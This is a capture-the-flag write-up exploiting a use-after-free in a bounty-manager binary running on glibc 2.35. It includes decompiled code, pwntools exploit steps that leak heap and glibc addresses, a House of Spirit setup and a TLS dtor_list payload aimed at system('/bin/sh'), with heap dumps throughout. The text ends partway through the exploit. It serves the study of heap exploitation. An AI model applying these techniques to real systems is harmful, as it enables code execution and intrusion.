Dead or Alive
20 minutes to read
We are given a 64-bit binary called dead_or_alive:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
Also, the binary is already patched to use a given Glibc version (2.35):
$ ldd dead_or_alive
linux-vdso.so.1 (0x00007ffe1cfce000)
libc.so.6 => ./glibc/libc.so.6 (0x00007ff94805d000)
glibc/ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007ff94828d000)
$ glibc/ld-2.35.so glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Reverse engineering
If we open the binary in Ghidra, we will see this main function:
void main() {
int option;
setup();
banner();
do {
while (true) {
while (option = menu(), option == 3) {
view();
}
if (option < 4) break;
LAB_00101a1a:
error("Invalid option");
}
if (option == 1) {
create();
} else {
if (option != 2) goto LAB_00101a1a;
delete();
}
} while (true);
}
It basically shows a menu where we can create bounties, delete them or view them. After reading the decompiled code of the three functions create, delete and view, we can define a struct that will be helpful to make the code more readable:
typedef struct bounty_t {
char* data;
ulong amount;
size_t size;
bool inuse;
bool alive;
} bounty_t;
Also, we must take into account that there is a global variable called Bounties of type bounty_t*[50], and an int global variable called bounty_idx to manage the total number of bounties stored.
Allocation function
The code for create is very simple. It checks the number of bounties stored, and if there is enough space, it reserves a chunk for the bounty_t structure. After that, the program asks for some attributes, such as amount, size and alive. This size attribute must be less than 101 and defines the size of the chunk allocated for data. Also, notice that inuse is always set to true:
void create() {
int alive;
char* p_data;
long in_FS_OFFSET;
ulong amount;
ulong size;
bounty_t* bounty;
char yn [2];
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
if (49 < bounty_idx) {
error("Maximum number of bounty registrations reached. Shutting down...");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Bounty amount (Zell Bars): ");
amount = 0;
scanf("%lu", &amount);
printf("Wanted alive (y/n): ");
yn[0] = '\0';
yn[1] = '\0';
read(0, yn, 2);
alive = strcmp(yn, "y");
printf("Description size: ");
size = 0;
scanf("%lu", &size);
if (size < 101) {
bounty = (bounty_t*) malloc(0x20);
if (bounty == NULL) {
error("Failed to allocate space for bounty");
/* WARNING: Subroutine does not return */
exit(-1);
}
bounty->amount = amount;
bounty->alive = alive == 0;
bounty->size = size;
p_data = (char*) malloc(bounty->size);
bounty->data = p_data;
bounty->inuse = true;
if (bounty->data == NULL) {
error("Failed to allocate space for bounty description");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Bounty description:");
read(0, bounty->data, bounty->size);
Bounties[bounty_idx] = bounty;
printf("Bounty ID: %d\n\n", (ulong) bounty_idx);
bounty_idx++;
} else {
error("Description size exceeds size limit");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Finally, the reference to bounty is appended to the global array Bounties.
Free function
Next, we have delete, which is even simpler:
void delete() {
long in_FS_OFFSET;
int i;
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
printf("Bounty ID: ");
i = 0;
scanf("%d", &i);
if ((i < 0) || (bounty_idx <= (uint) i)) {
error("Bounty ID out of range");
} else if ((Bounties[i]->inuse == true) && (Bounties[i]->data != NULL)) {
free(Bounties[i]->data);
Bounties[i]->data = NULL;
Bounties[i]->inuse = false;
free(Bounties[i]);
putchar('\n');
} else {
error("Invalid ID");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Notice that both bounty->data and bounty are freed. Also, notice that bounty->data is set to NULL. However, observe that Bounties[i] is not set to NULL and bounty_idx is not decreased. This will allow us to use a Bounties index that was already deleted in our advantage, which is kind of a Use After Free vulnerability.
Information function
Last but not least, we have view:
void view() {
char *alive;
long in_FS_OFFSET;
int i;
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
printf("Bounty ID: ");
i = 0;
scanf("%d", &i);
if ((i < 0) || (49 < i)) {
error("ID out of range");
} else if (Bounties[i] == NULL) {
error("Bounty ID does not exist");
} else if (Bounties[i]->inuse == true) {
if (Bounties[i]->alive == false) {
alive = "No";
} else {
alive = "Yes";
}
printf("\nBounty: %lu Zell Bars\nWanted alive: %s\nDescription: %s\n", Bounties[i]->amount, alive, Bounties[i]->data);
} else {
error("Bounty has been removed");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This one is similar to delete, in the sense that it asks for an index and just prints out the data of the bounty_t structure as long as it is not NULL and it is in use.
Summary
So, in summary, we can create structures on the heap like this:
The first one is always a 0x31-sized chunk, while the data chunk might have a size up to 0x64 (that will become a 0x71-sized chunk).
Exploit strategy
When attempting a heap pwn challenge like this, I normally start thinking of ways to leak Glibc. Once I have that, I try to find a way to get another primitive to obtain arbitrary code execution.
Leaking memory addresses
This time, since the binary uses Glibc 2.35, Safe-Linking is enabled, which is a mitigation used to obfuscate fd pointers in the Tcache free-lists. However, it is easy to bypass. For more information, check out CRSid, where I go more into detail on this. Therefore, we will also need a heap address leak, in order to obfuscate pointers when we obtain a write primitive.
The way to leak heap addresses is simple, because the program uses read to get user input. As a result, we can free some objects and then enter a single character at the fd position. Then, when using view we will get almost the same fd pointer, but stomped with a single character. But this is not a problem since the least significant 12 bits of any address are always the same.
The way to get a Glibc address will be more difficult, since our chunks are all of size less than 101 (0x65). This means that only Tcache free-lists and Fast Bin free-lists can be used, which are singly-linked lists. Normally, the way to leak a Glibc address in a heap challenge is to free a large chunk so that it goes to the Unsorted Bin, which is a doubly linked list whose chunks hold fd and bk pointers to main_arena.
Although the Glibc leak can be found in a simpler way, I used a trick with scanf that can save us in many situations. When we enter a number with a lot of leading zeros, scanf needs to store that long string somewhere… yes! on the heap! It seems that if we enter a number that has at least 1024 (0x400) digits, scanf calls malloc_consolidate, allocates a chunk with the number string, processes it and then frees it. The point is malloc_consolidate, because if we have Fast Bin chunks, they will become Small Bin chunks, and this is a doubly-linked list, so its chunks hold fd and bk pointers to main_arena. At this point, we can use the previous procesure to leak using the view function.
Actually, there’s even a nicer way to leak Glibc, because the bk pointer coincides with the amount offset at bounty_t. Therefore, we can use another scanf trick. We can enter a minus sign -, and not digit, so that scanf leaves the memory slot untouched! As a result, using view we will see the Glibc leak.
House of Spirit
The fact that Bounties[i] is not set to NULL allows us to reuse this index later with delete. For instance, if we create two bounties with a 0x21-sized chunk as data field, then we free both, and then we create a bounty with a 0x31-sized chunk as data field, we will be stomping on one of the already deleted fields.
As a result, we can set an arbitrary pointer in the data offset, so that we can run free on an arbitrary pointer. This is known as House of Spirit. We will use this primitive to get an overlapping chunks situation, so that we can clobber the fd pointer of Tcache chunks and get an arbitrary write primitive.
Exploit development
We will use the following helper functions:
def create(size: int, data: bytes, amount: int | bytes = 1337, alive: bool = True) -> int:
io.sendlineafter(b'==> ', b'1')
io.sendlineafter(b'Bounty amount (Zell Bars): ', str(amount).encode() if isinstance(amount, int) else amount)
io.sendlineafter(b'Wanted alive (y/n): ', b'y' if alive else b'n')
io.sendlineafter(b'Description size: ', str(size).encode())
io.sendafter(b'Bounty description:\n', data)
io.recvuntil(b'Bounty ID: ')
return int(io.recvline().decode())
def delete(index: int):
io.sendlineafter(b'==> ', b'2')
io.sendlineafter(b'Bounty ID: ', str(index).encode())
def view(index: int) -> (int, bool, bytes):
io.sendlineafter(b'==> ', b'3')
io.sendlineafter(b'Bounty ID: ', str(index).encode())
io.recvuntil(b'Bounty: ')
amount = int(io.recvuntil(b' Zell Bars\nWanted alive: ', drop=True).decode())
alive = io.recvline() == b'Yes\n'
io.recvuntil(b'Description: ')
return amount, alive, io.recvline().strip()
Before starting, I will patch the binary to remove the call to usleep(15000) that appears in the banner function as an animation. We can use hexedit for this:
$ diff <(objdump -M intel -d dead_or_alive) <(objdump -M intel -d dead_or_alive_patched)
2c2
< dead_or_alive: file format elf64-x86-64
---
> dead_or_alive_patched: file format elf64-x86-64
247c247,251
< 1320: e8 bb fe ff ff call 11e0 <usleep@plt>
---
> 1320: 90 nop
> 1321: 90 nop
> 1322: 90 nop
> 1323: 90 nop
> 1324: 90 nop
Let’s start by leaking a heap address. For this, we need to create two bounties and free them:
a = create(0x18, b'a')
b = create(0x18, b'b')
delete(a)
delete(b)
input('1')
We will get the following heap layout:
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000020002 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a320 0x000055a13790a2f0 | ..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=1,sz=0x30][2/2]
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00000|+0x002c0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a2d0|+0x00010|+0x002d0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=0,sz=0x20][2/2]
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a46d83dbaa 0x7d6e2088ec6b30a5 | ...m.U...0k.. n} | <- tcache[idx=1,sz=0x30][1/2]
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a310|+0x00000|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00010|+0x00320: 0x000055a46d83dbda 0x7d6e2088ec6b30a5 | ...m.U...0k.. n} | <- tcache[idx=0,sz=0x20][1/2]
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000000 0x0000000000020cd1 | ................ | <- top
0x55a13790a340|+0x00010|+0x00340: 0x0000000000000000 0x0000000000000000 | ................ |
* 8395 lines, 0x20cb0 bytes
Now we can create another chunk with a 0x21-sized data field to enter a single character:
leak_index = create(0x18, b'X')
_, _, data = view(leak_index)
The output of view will give us the value 0x000055a46d83db58:
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000010001 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a2d0 0x000055a13790a2a0 | ...7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=1,sz=0x30][1/1]
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00000|+0x002c0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a2d0|+0x00010|+0x002d0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=0,sz=0x20][1/1]
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a13790a320 0x0000000000000539 | ..7.U..9....... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000101 | ................ |
0x55a13790a310|+0x00000|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00010|+0x00320: 0x000055a46d83db58 0x0000000000000000 | X..m.U.......... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000000 0x0000000000020cd1 | ................ | <- top
0x55a13790a340|+0x00010|+0x00340: 0x0000000000000000 0x0000000000000000 | ................ |
* 8395 lines, 0x20cb0 bytes
With this value and the appropriate functions to disable Safe-Linking we can find the heap base address:
def deobfuscate(x: int, l: int = 64) -> int:
p = 0
for i in range(l * 4, 0, -4):
v1 = (x & (0xf << i)) >> i
v2 = (p & (0xf << i + 12 )) >> i + 12
p |= (v1 ^ v2) << i
return p
heap_addr = deobfuscate(u64(data[1:].ljust(8, b'\0')) << 8) & 0xfffffffffffff000
io.info(f'Heap base address: {hex(heap_addr)}')
[*] Heap base address: 0x55a13790a000
Now, we proceed to find a Glibc leak. For this, I will use the malloc_consolidate trick and the - trick on scanf. First, we need to fill the Tcache free-list for a given size and have some Fast Bin chunks:
delete(leak_index)
to_delete = []
for _ in range(9):
to_delete.append(create(0x18, b'asdf'))
for d in reversed(to_delete):
delete(d)
gef> bins
----------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a340 count=7
-> Chunk(base=0x55a13790a330, addr=0x55a13790a340, size=0x30, flags=PREV_INUSE, fd=0x55a46d83da9a(=0x55a13790a390))
-> Chunk(base=0x55a13790a380, addr=0x55a13790a390, size=0x30, flags=PREV_INUSE, fd=0x55a46d83daea(=0x55a13790a3e0))
-> Chunk(base=0x55a13790a3d0, addr=0x55a13790a3e0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd3a(=0x55a13790a430))
-> Chunk(base=0x55a13790a420, addr=0x55a13790a430, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd8a(=0x55a13790a480))
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 14 valid chunks in tcache.
------------------------------------ Fast Bins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7f4c79923c90]: fd=0x55a13790a310
-> Chunk(base=0x55a13790a310, addr=0x55a13790a320, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dbca(=0x55a13790a2c0))
-> Chunk(base=0x55a13790a2c0, addr=0x55a13790a2d0, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
fastbins[idx=1, size=0x30, @0x7f4c79923c98]: fd=0x55a13790a2e0
-> Chunk(base=0x55a13790a2e0, addr=0x55a13790a2f0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83db9a(=0x55a13790a290))
-> Chunk(base=0x55a13790a290, addr=0x55a13790a2a0, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 4 valid chunks in fastbins.
----------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------
[+] Found 0 valid chunks in unsorted bin (when traced from `bk`).
------------------------------------ Small Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 small bins (when traced from `bk`).
------------------------------------ Large Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`).
Now, we can enter a huge amount of 0 so that scanf calls malloc_consolidate and all the Fast Bin chunks get inserted in the Small Bin free-list:
io.sendlineafter(b'# ', b'0' * 1024)
gef> bins
----------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a340 count=7
-> Chunk(base=0x55a13790a330, addr=0x55a13790a340, size=0x30, flags=, fd=0x55a46d83da9a(=0x55a13790a390))
-> Chunk(base=0x55a13790a380, addr=0x55a13790a390, size=0x30, flags=PREV_INUSE, fd=0x55a46d83daea(=0x55a13790a3e0))
-> Chunk(base=0x55a13790a3d0, addr=0x55a13790a3e0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd3a(=0x55a13790a430))
-> Chunk(base=0x55a13790a420, addr=0x55a13790a430, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd8a(=0x55a13790a480))
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 14 valid chunks in tcache.
------------------------------------ Fast Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in fastbins.
----------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------
[+] Found 0 valid chunks in unsorted bin (when traced from `bk`).
------------------------------------ Small Bins for arena 'main_arena' ------------------------------------
small_bins[idx=9, size=0xa0, @0x7f4c79923d80]: fd=0x55a13790a290, bk=0x7f4c79923d70
-> Chunk(base=0x55a13790a290, addr=0x55a13790a2a0, size=0xa0, flags=PREV_INUSE, fd=0x7f4c79923d70 <main_arena+0xf0>, bk=0x7f4c79923d70 <main_arena+0xf0>)
[+] Found 1 valid chunks in 1 small bins (when traced from `bk`).
------------------------------------ Large Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`).
Now, since the bk pointer also holds a pointer to main_arena and it coincides with the position of amount in the bounty_t structure, we can use a minus sign so that scanf leaves the value untouched:
leak_index = create(0x48, b'A' * 8, amount=b'-')
_, _, data = view(leak_index)
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000060007 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a390 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... | <- unsortedbins[1/1]
0x55a13790a2f0|+0x00010|+0x002f0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000030 | P.......0....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
As can be seen, we have 8 A and just after that, we have the Glibc leak. We only need to find it’s offset to the base address to bypass ASLR:
gef> libc
------------------------------------------------ libc info ------------------------------------------------
$libc = 0x7f4c7970a000
path: ./glibc/libc.so.6
sha512: 4ba40bc64c05bbd0cfc442e50db8b3f075bd623dbff672e2edc1491da8e7e666247fb828b744a35894ca3dc3cbc7da06b6f1c42d39864abd934878813ebe730f
sha256: 65e8b2bf36961f19908fb8b779139be5458ade165a1ee20a00b7e0b89a80f032
sha1: 57541c3937dfcb77c7d2e184bd41e14dff1b954e
md5: 0081c1e75ad0afcb24254e7889829f5b
ver: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
gef> p/x 0x7f4c79923d70 - 0x7f4c7970a000
$1 = 0x219d70
glibc.address = u64(data[8:].ljust(8, b'\0')) - 0x219d70
io.success(f'Glibc base address: {hex(glibc.address)}')
[+] Glibc base address: 0x7f4c7970a000
At this point, we are ready to use the write primitive to get arbitrary code execution, by calling system("/bin/sh"). I will be using TLS-storage dtor_list, which I used several times (i.e. Zombiedote and Gloater). We actually need to separate the payload in two because we nave not enough space to fill it within a chunk (limited by 0x64). So, I enter the mangled function address and parameter to execute on exit, and the I null out the PTR_MANGLE cookie to avoid having to leak it.
tls_addr = glibc.address - 0x28c0
tls_payload = p64(0)
tls_payload += p64(tls_addr - 0x80 + 0x30)
tls_payload += p64(glibc.sym.system << 17)
tls_payload += p64(next(glibc.search(b'/bin/sh')))
tls_payload += p64(0) * 8
null_ptr_mangle_cookie = p64(0)
The process requires some heap feng-shui to get all the relative offsets work properly. To begin with, we can create a fake chunk to exploit the House of Spirit later:
create(0x48, p64(heap_addr + 0x300) + p64(0x71) + p64(0x1337) + p64(0x101))
delete(create(0x64, b'asdf'))
delete(1)
gef> x/10gx &Bounties
0x55a134676060 <Bounties>: 0x000055a13790a2a0 0x000055a13790a2f0
0x55a134676070 <Bounties+16>: 0x000055a13790a2f0 0x000055a13790a2f0
0x55a134676080 <Bounties+32>: 0x000055a13790a2a0 0x000055a13790a340
0x55a134676090 <Bounties+48>: 0x000055a13790a390 0x000055a13790a3e0
0x55a1346760a0 <Bounties+64>: 0x000055a13790a430 0x000055a13790a480
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000050007 0x0000000000010000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a3e0 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a0b0|+0x000b0|+0x000b0: 0x0000000000000000 0x000055a13790a570 | ........p..7.U.. |
0x55a13790a0c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 28 lines, 0x1c0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a13790a300 0x0000000000000071 | ...7.U..q....... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000001337 0x0000000000000101 | 7............... |
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000031 | P.......1....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
Notice that 0x000055a13790a300 points to a fake 0x71-sized chunk, and it also appears at indices 1 and 2 of the Bounties global array. Therefore, we can delete it and get a free chunk right there:
delete(create(0x64, b'asdf'))
delete(1)
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0001000000050007 0x0000000000020000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
